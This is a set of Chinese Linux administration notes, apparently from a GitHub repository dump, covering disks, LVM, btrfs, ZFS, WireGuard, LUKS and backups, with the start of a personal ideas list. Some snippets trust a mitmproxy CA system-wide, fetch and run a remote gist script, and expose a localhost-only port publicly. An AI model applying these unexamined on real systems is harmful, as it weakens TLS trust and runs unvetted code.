https://raw.githubusercontent.com/kylemanna/docker-openvpn/master/bin/ovpn_run\r\n\r\n运行容器的时候一定要给参数`--cap-add=NET_ADMIN`\r\n\r\n另外还需要在容器中执行：\r\n\r\n```\r\nmkdir -p /dev/net\r\nif [ ! -c /dev/net/tun ]; then\r\n    mknod /dev/net/tun c 10 200\r\nfi\r\n```\r\n\r\n----\r\n\r\n## 时区时间设置\r\n\r\n参考： http://liumissyou.blog.51cto.com/4828343/1302050\r\n\r\n设置为上海时区 UTC+8\r\n\r\n```\r\napt-get install tzdata\r\ncp /etc/localtime /etc/localtime.bak\r\nln -svf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime\r\necho \"TZ='Asia/Shanghai'\">>~/.bashrc\r\nntpdate cn.pool.ntp.org\r\n```\r\n\r\n修改时间可以用：\r\n\r\n```\r\ndate -s \"2017-06-18 16:40:00\"\r\n```\r\n\r\n----\r\n\r\n## 快速地格式化大分区ext4\r\n\r\nLinux系统建议使用ext4分区格式，但直接mkfs.ext4 /dev/sda1就有很大的坑：会默认lazyinit在很长一段时间内占用IO\r\n\r\n> 参考： [http://fibrevillage.com/storage/474-ext4-lazy-init](http://fibrevillage.com/storage/474-ext4-lazy-init)\r\n\r\n适用于存储少量大文件的格式化大硬盘的方法如下，这样不会跳过初始化磁盘的过程而且初始化过程很快：\r\n\r\n```\r\nmkfs.ext4 /dev/sdXX -E lazy_itable_init=0,lazy_journal_init=0 -O sparse_super,large_file -m 0 -T largefile4\r\n```\r\n\r\n对应的[man文档](http://manpages.ubuntu.com/manpages/precise/en/man8/mkfs.ext4.8.html)\r\n\r\n----\r\n\r\n## 优化本地ssd性能\r\n\r\n参考 https://cloud.google.com/compute/docs/disks/optimizing-pd-performance\r\nhttps://cloud.google.com/compute/docs/disks/optimizing-local-ssd-performance\r\n\r\n```\r\nmkfs.ext4 -E lazy_itable_init=0,lazy_journal_init=0,discard /dev/sdX\r\nmount -o discard,defaults,nobarrier /dev/sdX /mnt\r\necho none > /sys/block/sdX/queue/scheduler\r\n```\r\n\r\n### 调整 readahead 值\r\n\r\n对于随机读写的应用如数据库，建议使用更小的readahead值\r\n\r\n>较高的 readahead 值可增加吞吐量，但是会占用更多内存和 IOPS。较低的 readahead 值可增加 IOPS，但是会牺牲吞吐量。\r\n>readahead 值为 <desired_readahead_bytes> / 512 字节。\r\n\r\n例如预读设置为32KB的话，就应该设置为`32*1024/512=64`\r\n\r\n```\r\nblockdev --setra 64 /dev/sdX\r\n```\r\n\r\n----\r\n\r\n## 添加受信任的CA证书 mitmproxy\r\n\r\n@TAG mitm\r\n\r\n```\r\ncat ~/.mitmproxy/mitmproxy-ca-cert.pem >> /etc/ssl/certs/ca-certificates.crt\r\n```\r\n\r\n对于nodejs这个可能也没用，直接`export NODE_TLS_REJECT_UNAUTHORIZED=1`\r\n\r\n----\r\n\r\n## 明明还有大量空间却说没有？inode满了！挂载单个文件为btrfs分区\r\n\r\n### 问题现象\r\n\r\n`df -h`显示还有很多空间，但`echo test>test.txt`会显示`No space left on device`\r\n\r\n查到这个： https://wiki.gentoo.org/wiki/Knowledge_Base:No_space_left_on_device_while_there_is_plenty_of_space_available\r\n\r\n使用`df -i`查看inodes占用情况，发现确实100%了\r\n\r\n### 解决方案\r\n\r\ninodes上限在mkfs时就定下来了，不能改动，所以没救了。。。\r\n\r\n真没救了嘛？ 当然不是，虽然不能写入大量小文件，但还是可以写一个大文件的嘛，就想到挂载单个文件为btrfs分区\r\n\r\n#### 1. 删文件 腾出部分inodes\r\n\r\n删掉一些不用的小文件，也不用删太多\r\n\r\n#### 2. 创建一个1TB的sparse file\r\n\r\n参考: https://prefetch.net/blog/2009/07/05/creating-sparse-files-on-linux-hosts-with-dd/\r\n\r\n使用dd命令，不将实际内容写入硬盘，能很快执行完成：\r\n\r\n```\r\nNAME=\"filesystem\"\r\ndd if=/dev/zero of=${NAME}.img bs=1 count=0 seek=1T\r\n```\r\n\r\n执行后ls -alh能看到文件大小为1T，使用`du filesystem.img`查看真实空间\r\n\r\n#### 3. 创建磁盘分区\r\n\r\n参考： https://www.jamescoyle.net/how-to/2096-use-a-file-as-a-linux-block-device\r\n\r\nbtrfs参考： https://btrfs.wiki.kernel.org/index.php/Getting_started\r\n\r\n```\r\nmkfs.btrfs ${NAME}.img\r\n```\r\n\r\n#### 4. 挂载分区\r\n\r\n```\r\nmount ${NAME}.img /mnt\r\n```\r\n\r\n#### 5. 然后就可以搬运数据过去了\r\n\r\n就用mv像往常一样搬咯\r\n\r\n#### 一些查看空间的命令\r\n\r\n```\r\n# 查看磁盘文件占用空间\r\ndu -h filesystem.img\r\n# 查看btrfs元数据占用空间\r\nbtrfs filesystem df /mnt\r\n# 也是查看空间\r\nbtrfs filesystem usage /mnt\r\n```\r\n\r\n#### 6. 卸载设备\r\n\r\n```\r\nsudo umount /mnt\r\nsudo losetup -d /dev/loop0\r\n```\r\n\r\n----\r\n\r\n## 扩容上述单文件btrfs磁盘\r\n\r\n@TAG 安全最佳实践\r\n\r\n随着不停地写入数据，上面创建的1TB分区就要被写满了！但文件所在物理磁盘还有空间，我们可以这样给btrfs磁盘扩容：\r\n\r\n实际文件用truncate增加一个hole；losetup更新loop0的大小；使用btrfs命令给分区扩容\r\n\r\ntruncate是一个危险的命令，为了避免手抖把空间写小了丢失数据，这里用`--reference`参数指定一个目标大小的文件，例如我们想扩容到1.5T=1536GB\r\n\r\n```\r\ndd if=/dev/zero of=temp bs=1 count=0 seek=1536G\r\nls -alh # 确认文件大小\r\ntruncate -r temp filesystem.img\r\n\r\n# 假设目前使用的是/dev/loop0\r\n# 你可以这样确认loop0确实是filesystem.img挂载的： losetup --list /dev/loop0\r\nlosetup -c /dev/loop0\r\n\r\n# 确保目前btrfs分区是挂载着的，btrfs必须先mount才能resize\r\n# mount filesystem.img /mnt\r\nbtrfs filesystem resize +500G /mnt\r\n```\r\n\r\n参考：\r\n\r\n- https://linux.die.net/man/1/truncate\r\n- https://askubuntu.com/questions/260620/resize-dev-loop0-and-increase-space\r\n- https://btrfs.wiki.kernel.org/index.php/UseCases#How_do_I_resize_a_partition.3F_.28shrink.2Fgrow.29\r\n\r\n----\r\n\r\n## 安全地拔出移动硬盘\r\n\r\n首先当然是`sudo umount /mnt`卸载挂载点咯，如何更安全一点呢？\r\n\r\n```\r\nudisksctl power-off -b /dev/sdb\r\n```\r\n\r\nFrom: https://unix.stackexchange.com/questions/354138/safest-way-to-remove-usb-drive-on-linux\r\n\r\n----\r\n\r\n## iptables 让监听在127.0.0.1上的端口可以公网访问\r\n\r\n参考： https://unix.stackexchange.com/questions/111433/iptables-redirect-outside-requests-to-127-0-0-1\r\n\r\n例如有监听在127.0.0.1:1234的应用，现在想通过ip:5678来访问\r\n\r\n```\r\niptables -t nat -I PREROUTING -p tcp --dport 5678 -j DNAT --to-destination 127.0.0.1:1234\r\nsysctl -w net.ipv4.conf.eth0.route_localnet=1\r\n```\r\n\r\n----\r\n\r\n## VMWare扩容磁盘 LVM在线扩容\r\n\r\n@TAG 虚拟机\r\n\r\n参考： \r\n- https://ma.ttias.be/increase-a-vmware-disk-size-vmdk-formatted-as-linux-lvm-without-rebooting/\r\n- https://www.cyberciti.biz/faq/howto-add-disk-to-lvm-volume-on-linux-to-increase-size-of-pool/\r\n- https://ubuntuforums.org/showthread.php?t=2277232\r\n\r\n修复`GPT PMBR size mismatch`用`parted -l`输入Fix即可，无需live cd\r\n\r\n```\r\nroot@docker:/d# parted -l\r\nWarning: Not all of the space available to /dev/sda appears to be used, you can\r\nfix the GPT to use all of the space (an extra 314572800 blocks) or continue with\r\nthe current setting?\r\nFix/Ignore? Fix\r\nModel: VMware Virtual disk (scsi)\r\nDisk /dev/sda: 215GB\r\nSector size (logical/physical): 512B/512B\r\nPartition Table: gpt\r\nDisk Flags:\r\n\r\nNumber  Start   End     Size    File system  Name  Flags\r\n 1      1049kB  2097kB  1049kB                     bios_grub\r\n 2      2097kB  1076MB  1074MB  ext4\r\n 3      1076MB  53.7GB  52.6GB\r\n\r\n\r\nModel: Linux device-mapper (linear) (dm)\r\nDisk /dev/mapper/ubuntu--vg-ubuntu--lv: 52.6GB\r\nSector size (logical/physical): 512B/512B\r\nPartition Table: loop\r\nDisk Flags:\r\n\r\nNumber  Start  End     Size    File system  Flags\r\n 1      0.00B  52.6GB  52.6GB  ext4\r\n\r\n\r\nWarning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.\r\nModel: NECVMWar VMware SATA CD00 (scsi)\r\nDisk /dev/sr0: 875MB\r\nSector size (logical/physical): 2048B/2048B\r\nPartition Table: mac\r\nDisk Flags:\r\n\r\nNumber  Start  End    Size    File system  Name   Flags\r\n 1      2048B  6143B  4096B                Apple\r\n 2      659MB  662MB  2523kB               EFI\r\n\r\n\r\nroot@docker:/d# fdisk -l\r\nDisk /dev/loop0: 91 MiB, 95408128 bytes, 186344 sectors\r\nUnits: sectors of 1 * 512 = 512 bytes\r\nSector size (logical/physical): 512 bytes / 512 bytes\r\nI/O size (minimum/optimal): 512 bytes / 512 bytes\r\n\r\n\r\nDisk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors\r\nUnits: sectors of 1 * 512 = 512 bytes\r\nSector size (logical/physical): 512 bytes / 512 bytes\r\nI/O size (minimum/optimal): 512 bytes / 512 bytes\r\nDisklabel type: gpt\r\nDisk identifier: C6597B3B-17F0-482A-AF5D-6056F7788052\r\n\r\nDevice       Start       End   Sectors Size Type\r\n/dev/sda1     2048      4095      2048   1M BIOS boot\r\n/dev/sda2     4096   2101247   2097152   1G Linux filesystem\r\n/dev/sda3  2101248 104855551 102754304  49G Linux filesystem\r\n\r\n\r\nDisk /dev/mapper/ubuntu--vg-ubuntu--lv: 49 GiB, 52609155072 bytes, 102752256 sectors\r\nUnits: sectors of 1 * 512 = 512 bytes\r\nSector size (logical/physical): 512 bytes / 512 bytes\r\nI/O size (minimum/optimal): 512 bytes / 512 bytes\r\nroot@docker:/d# fdisk /dev/sda\r\n\r\nWelcome to fdisk (util-linux 2.31.1).\r\nChanges will remain in memory only, until you decide to write them.\r\nBe careful before using the write command.\r\n\r\n\r\nCommand (m for help): n\r\nPartition number (4-128, default 4):\r\nFirst sector (104855552-419430366, default 104855552):\r\nLast sector, +sectors or +size{K,M,G,T,P} (104855552-419430366, default 419430366):\r\n\r\nCreated a new partition 4 of type 'Linux filesystem' and of size 150 GiB.\r\n\r\nCommand (m for help): t\r\nPartition number (1-4, default 4): 4\r\nPartition type (type L to list all types): 8e\r\n\r\nType of partition 4 is unchanged: Linux filesystem.\r\n\r\nCommand (m for help): w\r\nThe partition table has been altered.\r\nSyncing disks.\r\n\r\nroot@docker:/d# partprobe -s\r\n/dev/sda: gpt partitions 1 2 3 4\r\n/dev/mapper/ubuntu--vg-ubuntu--lv: loop partitions 1\r\nWarning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.\r\nWarning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.\r\nWarning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.\r\n/dev/sr0: mac partitions 1 2\r\nroot@docker:/d# fdisk -l\r\nDisk /dev/loop0: 91 MiB, 95408128 bytes, 186344 sectors\r\nUnits: sectors of 1 * 512 = 512 bytes\r\nSector size (logical/physical): 512 bytes / 512 bytes\r\nI/O size (minimum/optimal): 512 bytes / 512 bytes\r\n\r\n\r\nDisk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors\r\nUnits: sectors of 1 * 512 = 512 bytes\r\nSector size (logical/physical): 512 bytes / 512 bytes\r\nI/O size (minimum/optimal): 512 bytes / 512 bytes\r\nDisklabel type: gpt\r\nDisk identifier: C6597B3B-17F0-482A-AF5D-6056F7788052\r\n\r\nDevice         Start       End   Sectors  Size Type\r\n/dev/sda1       2048      4095      2048    1M BIOS boot\r\n/dev/sda2       4096   2101247   2097152    1G Linux filesystem\r\n/dev/sda3    2101248 104855551 102754304   49G Linux filesystem\r\n/dev/sda4  104855552 419430366 314574815  150G Linux filesystem\r\n\r\n\r\nDisk /dev/mapper/ubuntu--vg-ubuntu--lv: 49 GiB, 52609155072 bytes, 102752256 sectors\r\nUnits: sectors of 1 * 512 = 512 bytes\r\nSector size (logical/physical): 512 bytes / 512 bytes\r\nI/O size (minimum/optimal): 512 bytes / 512 bytes\r\nroot@docker:/d# pvcreate /dev/sda\r\nsda   sda1  sda2  sda3  sda4\r\nroot@docker:/d# pvcreate /dev/sda4\r\n  Physical volume \"/dev/sda4\" successfully created.\r\nroot@docker:/d# vgdisplay\r\n  --- Volume group ---\r\n  VG Name               ubuntu-vg\r\n  System ID\r\n  Format                lvm2\r\n  Metadata Areas        1\r\n  Metadata Sequence No  3\r\n  VG Access             read/write\r\n  VG Status             resizable\r\n  MAX LV                0\r\n  Cur LV                1\r\n  Open LV               1\r\n  Max PV                0\r\n  Cur PV                1\r\n  Act PV                1\r\n  VG Size               <49.00 GiB\r\n  PE Size               4.00 MiB\r\n  Total PE              12543\r\n  Alloc PE / Size       12543 / <49.00 GiB\r\n  Free  PE / Size       0 / 0\r\n  VG UUID               FJI08W-C0Db-dXmu-WPyq-Zlr9-Lejq-xadlCk\r\n\r\nroot@docker:/d# vgextend ubuntu-vg /dev/sda4\r\n  Volume group \"ubuntu-vg\" successfully extended\r\nroot@docker:/d# pvscan\r\n  PV /dev/sda3   VG ubuntu-vg       lvm2 [<49.00 GiB / 0    free]\r\n  PV /dev/sda4   VG ubuntu-vg       lvm2 [<150.00 GiB / <150.00 GiB free]\r\n  Total: 2 [198.99 GiB] / in use: 2 [198.99 GiB] / in no VG: 0 [0   ]\r\nroot@docker:/d# lvextend /dev/ubuntu-vg/ubuntu-lv /dev/sda4\r\n  Size of logical volume ubuntu-vg/ubuntu-lv changed from <49.00 GiB (12543 extents) to 198.99 GiB (50942 extents).\r\n  Logical volume ubuntu-vg/ubuntu-lv successfully resized.\r\nroot@docker:/d# resize2fs /dev/ubuntu-vg/ubuntu-lv\r\nresize2fs 1.44.1 (24-Mar-2018)\r\nFilesystem at /dev/ubuntu-vg/ubuntu-lv is mounted on /; on-line resizing required\r\nold_desc_blocks = 7, new_desc_blocks = 25\r\nThe filesystem on /dev/ubuntu-vg/ubuntu-lv is now 52164608 (4k) blocks long.\r\n```\r\n\r\nresize2fs可以加上`-p`选项显示进度\r\n\r\n### VMWare新添加一块硬盘扩容根目录\r\n\r\n@TAG 虚拟机\r\n\r\n参考这两篇：\r\n\r\nhttps://www.cyberciti.biz/tips/vmware-add-a-new-hard-disk-without-rebooting-guest.html\r\n\r\nhttps://www.unixmen.com/add-a-new-disk-to-lvm/\r\n\r\n```\r\nroot@docker3:/d# for i in /sys/class/scsi_host/*; do echo \"- - -\" > ${i}/scan; done\r\nroot@docker3:/d# fdisk -l\r\nDisk /dev/sdb: 1 TiB, 1099511627776 bytes, 2147483648 sectors\r\nUnits: sectors of 1 * 512 = 512 bytes\r\nSector size (logical/physical): 512 bytes / 512 bytes\r\nI/O size (minimum/optimal): 512 bytes / 512 bytes\r\n\r\nroot@docker3:/d# fdisk /dev/sdb\r\n\r\nWelcome to fdisk (util-linux 2.31.1).\r\nChanges will remain in memory only, until you decide to write them.\r\nBe careful before using the write command.\r\n\r\nDevice does not contain a recognized partition table.\r\nCreated a new DOS disklabel with disk identifier 0x3289a390.\r\n\r\nCommand (m for help): n\r\nPartition type\r\n   p   primary (0 primary, 0 extended, 4 free)\r\n   e   extended (container for logical partitions)\r\nSelect (default p):\r\n\r\nUsing default response p.\r\nPartition number (1-4, default 1):\r\nFirst sector (2048-2147483647, default 2048):\r\nLast sector, +sectors or +size{K,M,G,T,P} (2048-2147483647, default 2147483647):\r\n\r\nCreated a new partition 1 of type 'Linux' and of size 1024 GiB.\r\n\r\nCommand (m for help): t\r\nSelected partition 1\r\nHex code (type L to list all codes): 8e\r\nChanged type of partition 'Linux' to 'Linux LVM'.\r\n\r\nCommand (m for help): w\r\nThe partition table has been altered.\r\nCalling ioctl() to re-read partition table.\r\nSyncing disks.\r\n\r\nroot@docker3:/d# pvcreate /dev/sdb1\r\n  Physical volume \"/dev/sdb1\" successfully created.\r\nroot@docker3:/d# vgextend ubuntu-vg /dev/sdb1\r\n  Volume group \"ubuntu-vg\" successfully extended\r\nroot@docker3:/d# pvscan\r\n  PV /dev/sda3   VG ubuntu-vg       lvm2 [<199.00 GiB / 0    free]\r\n  PV /dev/sdb1   VG ubuntu-vg       lvm2 [<1024.00 GiB / <1024.00 GiB free]\r\n  Total: 2 [1.19 TiB] / in use: 2 [1.19 TiB] / in no VG: 0 [0   ]\r\nroot@docker3:/d# lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv\r\n  Size of logical volume ubuntu-vg/ubuntu-lv changed from <199.00 GiB (50943 extents) to 1.19 TiB (313086 extents).\r\n  Logical volume ubuntu-vg/ubuntu-lv successfully resized.\r\nroot@docker3:/d# resize2fs /dev/ubuntu-vg/ubuntu-lv\r\nresize2fs 1.44.1 (24-Mar-2018)\r\nFilesystem at /dev/ubuntu-vg/ubuntu-lv is mounted on /; on-line resizing required\r\nold_desc_blocks = 25, new_desc_blocks = 153\r\nThe filesystem on /dev/ubuntu-vg/ubuntu-lv is now 320600064 (4k) blocks long.\r\n\r\nroot@docker3:/d# df -h\r\n/dev/mapper/ubuntu--vg-ubuntu--lv  1.2T  170G  986G  15% /\r\n```\r\n\r\n----\r\n\r\n## 挂载多个vmdk中的LVM分区\r\n\r\n@TAG 虚拟机 离线操作\r\n\r\n参考： https://superuser.com/questions/1376690/how-to-mount-an-lvm-volume-from-a-dd-raw-vmdk-image\r\n\r\n试过用windows的7z直接打开压缩包，只能看到LVM或者多个img文件，不能跳过解压步骤，所以还是在linux上挂载吧\r\n\r\n假设有三个vmdk文件需要挂载，得到的lvm是`/dev/ubuntu-vg/ubuntu-lv`，只读挂载到`/mnt`\r\n\r\n需要`apt install -y kpartx`\r\n\r\n挂载 mount.sh:\r\n\r\n```\r\n#!/bin/bash\r\nkpartx -a -v disk1.vmdk\r\nkpartx -a -v disk2.vmdk\r\nkpartx -a -v disk3.vmdk\r\nsleep 2\r\npvscan\r\nmount  -o ro /dev/ubuntu-vg/ubuntu-lv /mnt\r\n```\r\n\r\n取消挂载 umount.sh:\r\n\r\n```\r\n#!/bin/bash\r\numount /mnt\r\nlvchange -an /dev/ubuntu-vg/ubuntu-lv\r\nvgchange -an /dev/ubuntu-vg\r\nkpartx -d disk1.vmdk\r\nkpartx -d disk2.vmdk\r\nkpartx -d disk3.vmdk\r\n```\r\n\r\n-----\r\n\r\n## 启用rc.local\r\n\r\n参考 https://www.linuxbabe.com/linux-server/how-to-enable-etcrc-local-with-systemd\r\n\r\n确认有没有启用rc.local: `systemctl status rc-local.service`如果有绿色的`Active: active (exited)`出现就是已经启用\r\n\r\n```\r\nnano /etc/systemd/system/rc-local.service\r\nprintf '%s\\n' '#!/bin/bash' 'exit 0' | sudo tee -a /etc/rc.local\r\nchmod +x /etc/rc.local\r\nsystemctl enable rc-local\r\n```\r\n\r\n```\r\n[Unit]\r\n Description=/etc/rc.local Compatibility\r\n ConditionPathExists=/etc/rc.local\r\n\r\n[Service]\r\n Type=forking\r\n ExecStart=/etc/rc.local start\r\n TimeoutSec=0\r\n StandardOutput=tty\r\n RemainAfterExit=yes\r\n SysVStartPriority=99\r\n\r\n[Install]\r\n WantedBy=multi-user.target\r\n```\r\n\r\n------\r\n\r\n## apt禁用Translation\r\n\r\napt update的时候发现一堆翻译的条目，不想看到这些\r\n\r\n创建/etc/apt/apt.conf.d/99translations\r\n\r\n```\r\nAcquire::Languages \"none\";\r\n```\r\n\r\n-------\r\n\r\n## 开机自启动wireguard\r\n\r\n```\r\nsystemctl enable wg-quick@wg0.service\r\nsystemctl daemon-reload\r\nservice wg-quick@wg0 start\r\nservice wg-quick@wg0 status\r\n```\r\n\r\n------\r\n\r\n## 修复失败的do-release-upgrade\r\n\r\n参考： https://www.kingsware.de/2019/01/05/repair-a-damaged-package-system-after-ubuntu-dist-upgrade/\r\n\r\n可能的原因是使用了ppa源，而新的发行版里这些软件包已经进入官方源造成冲突\r\n\r\n```\r\napt update\r\napt upgrade\r\napt dist-upgrade\r\napt install -f\r\ndpkg --configure -a\r\napt autoremove\r\n```\r\n\r\n如果你需要禁用ppa源，你可以直接去删除`/etc/apt/sources.list.d`的文件，或者：\r\n\r\n```\r\nadd-apt-repository --remove ppa:PPA_REPOSITORY_NAME/PPA-NAME\r\n```\r\n\r\n----\r\n\r\n## 解决wireguard 内核模块编译失败\r\n\r\n报错信息 `error: ‘const struct ipv6_stub’ has no member named ‘ipv6_dst_lookup_flow’`\r\n\r\n查到这些链接： https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=959157\r\n\r\n官方已经给出了patch： https://git.zx2c4.com/wireguard-linux-compat/commit/?id=4602590adee92557847e61c8cd14445d35fbfa2e\r\n\r\n但是我已经从最新git下载，这个patch是已经打了的，还是同样的报错\r\n\r\n看patch发现这个改动就是在判断内核版本，如果符合特定版本就引入`ipv6_dst_lookup_flow`的#define语句\r\n\r\n但估计这个版本判断是不完备的，正好漏掉了当前的内核版本，所以解决方案很简单：强行把这个define加入即可\r\n\r\n```\r\ngit clone https://git.zx2c4.com/wireguard-linux-compat\r\ncd wireguard-linux-compat/src\r\necho \"#define ipv6_dst_lookup_flow(a, b, c, d) ipv6_dst_lookup(a, b, &dst, c) + (void *)0 ?: dst\" >> compat/compat.h\r\nmake\r\nmake install\r\n```\r\n\r\n--------\r\n\r\n## LUKS\r\n\r\n教程： https://www.cyberciti.biz/security/howto-linux-hard-disk-encryption-with-luks-cryptsetup-command/\r\n\r\n### 验证密钥是否正确\r\n\r\n```\r\ncryptsetup luksDump 设备\r\ncryptsetup luksOpen --test-passphrase --key-slot 0 设备 && echo ok\r\ncryptsetup luksOpen --test-passphrase --key-file 密钥文件 --key-slot 1 设备 && echo ok\r\n```\r\n\r\n--------\r\n\r\n## ntp的替代 使用http更新时间\r\n\r\n在ntp服务器访问不了的时候，我们也可以使用http协议的Date字段来获取时间\r\n\r\n参考： https://superuser.com/questions/307158/how-to-use-ntpdate-behind-a-proxy\r\n\r\n```\r\n#!/bin/bash\r\ndate -s \"$(curl -i  \"http://www.google.com/\" 2>/dev/null | grep -E '^[[:space:]]*[dD]ate:' | sed 's/^[[:space:]]*[dD]ate:[[:space:]]*//' | head -1l | awk '{print $1, $3, $2,  $5 ,\"GMT\", $4 }' | sed 's/,//')\"\r\n```\r\n\r\n--------\r\n\r\n## 使用rsync备份全盘\r\n\r\n参考：\r\n\r\n- 主要参数来自 https://github.com/laurent22/rsync-time-backup\r\n- https://ostechnix.com/backup-entire-linux-system-using-rsync/\r\n- 不要跨过mount边界用`-xx` https://superuser.com/questions/626141/rsync-recursive-on-same-mount-only\r\n- 显示进度用`--info=progress2` https://www.cyberciti.biz/faq/show-progress-during-file-transfer/\r\n\r\n```\r\nrsync --info=progress2 -D --numeric-ids --links --hard-links --itemize-changes --times --recursive --perms --owner --group --stats --human-readable -xx / /target/\r\n```\r\n\r\n小文件太多不建议使用rsync-time-backup，会产生大量的硬链接，占据大量btrfs metadata空间\r\n\r\n备份过程中显示的理解： https://unix.stackexchange.com/questions/215271/understanding-the-output-of-info-progress2-from-rsync\r\n\r\n- `xfr#495` 表示当前正在传输第495个文件\r\n- `ir-chk=1020/3825` 已经知道有3825个文件，其中1020个需要检查目标位置的文件是否一致\r\n\r\n## 让特定进程走指定网卡\r\n\r\n想做到类似curl ip.sb --interface tun1的效果\r\n\r\n如果是有动态链接libc可以用proxychains（golang就不能用）\r\n\r\n简单程序也许能用基于ptrace的[graftcp](https://github.com/hmgle/graftcp)（wsl不能用，复杂程序也不能用）\r\n\r\n找到了cgroup的方案，确实有效但仍然wsl不能用：\r\n\r\n参考 https://serverfault.com/questions/669430/how-to-bypass-openvpn-per-application\r\n\r\n底层用的cgroup创建个独立的网络命名空间，修改route默认路由，让进程去这个空间里面执行\r\n\r\n需要修改里面的`real_interface` 和 `real_interface_gateway`\r\n\r\n函数test_routing也可以直接return，不需要检查\r\n\r\n```\r\nwget https://gist.githubusercontent.com/kriswebdev/a8d291936fe4299fb17d3744497b1170/raw/novpn.sh\r\nchmod +x novpn.sh\r\n#记得修改代码\r\n./novpn.sh curl ip.sb\r\n```\r\n\r\n------\r\n\r\n## 配置高性能zfs\r\n\r\n参考：\r\n- https://wiki.lustre.org/Optimizing_Performance_of_SSDs_and_Advanced_Format_Drives\r\n- https://github.com/allada/bsc-archive-snapshot\r\n- https://itnext.io/how-i-replaced-lvm-with-zfs-filesystem-for-my-home-nas-server-7165f620e07f\r\n- https://wiki.ubuntu.com/Kernel/Reference/ZFS\r\n\r\n```\r\nadd-apt-repository ppa:jonathonf/zfs\r\napt install -y zfsutils-linux zfs-dkms\r\nzpool create -o ashift=12 tank /dev/sda\r\nzfs set recordsize=32K tank\r\nzfs set sync=disabled tank\r\nzfs set redundant_metadata=most tank\r\nzfs set atime=off tank\r\nzfs set logbias=throughput tank\r\nzfs set compression=on tank\r\n\r\nzfs create tank/project1\r\n```\r\n\r\n## zfs快照与恢复\r\n\r\n```\r\nzfs snapshot -r tank/projects@snap1\r\nzfs list -t snapshot\r\nzfs rollback mypool/projects@snap1\r\n```\r\n\r\nclone可以实现直接复制CoW, 需要先快照:\r\n\r\n```\r\nzfs snapshot -r tank/projects@snap1\r\nzfs clone tank/projects@snap1 tank/projects-clone\r\n```\r\n\r\n如果硬盘挂了用`zpool scrub tank`\r\n\r\n## 硬盘测试\r\n\r\nsmart自检：\r\n\r\n```\r\nsmartctl -t short /dev/sda\r\n#wait 2 minutes\r\nsmartctl -l selftest /dev/sda\r\n```\r\n\r\n读写性能：\r\n\r\n```\r\nhdparam -Tt /dev/sda\r\n\r\napt install -y fio\r\nfio --randrepeat=1 --ioengine=libaio --direct=1 --gtod_reduce=1 --name=fiotest --filename=testfio --bs=4k --iodepth=64 --size=8G --readwrite=randrw --rwmixread=75 && rm testfio\r\n```\r\n\r\n--------\r\n\r\n## 验证/etc/fstab正确性\r\n\r\n参考 https://serverfault.com/questions/174181/how-do-you-validate-fstab-without-rebooting\r\n\r\n```\r\nmount -fav\r\nfindmnt --verify --verbose\r\n```\r\n"
  },
  {
    "path": "Misson.md",
    "content": "# 说明\r\n这个文件是我的Idea们，挖个坑待填\r\n\r\n有兴趣和我一起干或告知现有的技术，欢迎提issue或发送邮件：github@qiushi.ac.cn\r\n\r\n\r\n----\r\n\r\n## 图床可用性监测+特性测试数据？\r\n\r\n现在我们已经有很多图床服务，但似乎并没有可用性监测数据，直接使用之前还需要自行测试是否有防盗链等特性，有没有这样一个图床测试服务来提供这些数据呢？\r\n\r\n例如这些图床上传代码：\r\n\r\nhttps://www.npmjs.com/package/upimg/v/0.1.8\r\nhttps://github.com/aimerforreimu/auxpi/tree/dev/server\r\n\r\n每天测一次上传服务可用性，每小时测一次 cdn 下载可靠性\r\n\r\n特性指标：\r\n\r\n可靠性：会不会 404、服务器跑路（如熊猫直播、360 云盘）、是否友好（引用自 npm upimg 包 0.1.8：由于某公司方面施压，upimg 将不维护以上列表外服务的可用性）\r\n\r\n易用性：特定语言下是否已经有开源代码实现上传功能 （例如腾讯云 cos 前端上传就没有后端语言的实现）\r\n\r\n前端可用：可否在其他网站上传，是否防盗链，是否可以跨域读取内容，访问频率限制，直接打开 url 是否强制下载\r\n\r\n后端可用：维护登录 cookie 是否容易（登录验证码），请求频率限制\r\n\r\n不止于图片：是否压缩图片，是否可以上传非图片二进制，单个文件最大大小\r\n\r\n安全：是否支持删除，传输 https，访问 https\r\n\r\nmisc：生成 url 长度，是否限制国外访问，cdn 节点广度，是否被墙\r\n\r\n\r\n----\r\n# Deny404\r\n\r\n360极速浏览器曾经有的网页快照功能，能不能用Chrome扩展实现\r\n\r\n要求在不引用任何外部资源的情况下展示出和原网页基本相同的效果\r\n\r\n生成文件尽量少，能push到github\r\n\r\n另外也需要全文检索\r\n\r\n入手：考虑复制网页文本+cutycapt保存图片\r\n\r\n目前的实现：印象笔记/Evernote的剪藏插件，然后用api导出 参见[evernote2ipfs](https://github.com/zjuchenyuan/evernote2ipfs)\r\n\r\n----\r\n# EasyCrawler\r\n\r\n给出两三个网页url，自动diff分析网页内容所在的tag，得出从url→内容的算法\r\n\r\n甚至给出网站域名直接爬取全站并提取内容到数据库以便压缩存储\r\n\r\n入手：也许需要了解lxml\r\n\r\n----\r\n# WAF\r\n\r\n开源的WAF? \r\n\r\n----\r\n# 文件整理\r\n\r\n有了Everything找文件方便了一点\r\n\r\nwindows下有没有对文件进行标记关键词、机密等级的explorer的扩展呢。。。\r\n\r\n机密文件要自动加密，需要google authenticator两步验证解密\r\n\r\n重要文件需要自动异地备份，并提醒使用移动硬盘离线备份+插入硬盘后自动备份需要备份的东西\r\n\r\n有没有Explorer右键扩展对文件进行标记tag的工具？\r\n\r\n标记为重要的文件自动采用多种存储方案进行备份+版本控制，支持自己外接硬盘（提醒）、上传到包括但不限于：\r\n\r\n- 不可靠：自己的硬盘、百度网盘\r\n- 免费的云盘服务：天翼云盘、坚果云、亿方云、奶牛快传、浙大云盘\r\n- 自建的云上存储：自己服务器(Seafile)、Google Drive、OneDrive\r\n- 商业化的对象存储：阿里OSS、腾讯云COS、又拍云、七牛、AWS S3、百度云\r\n- 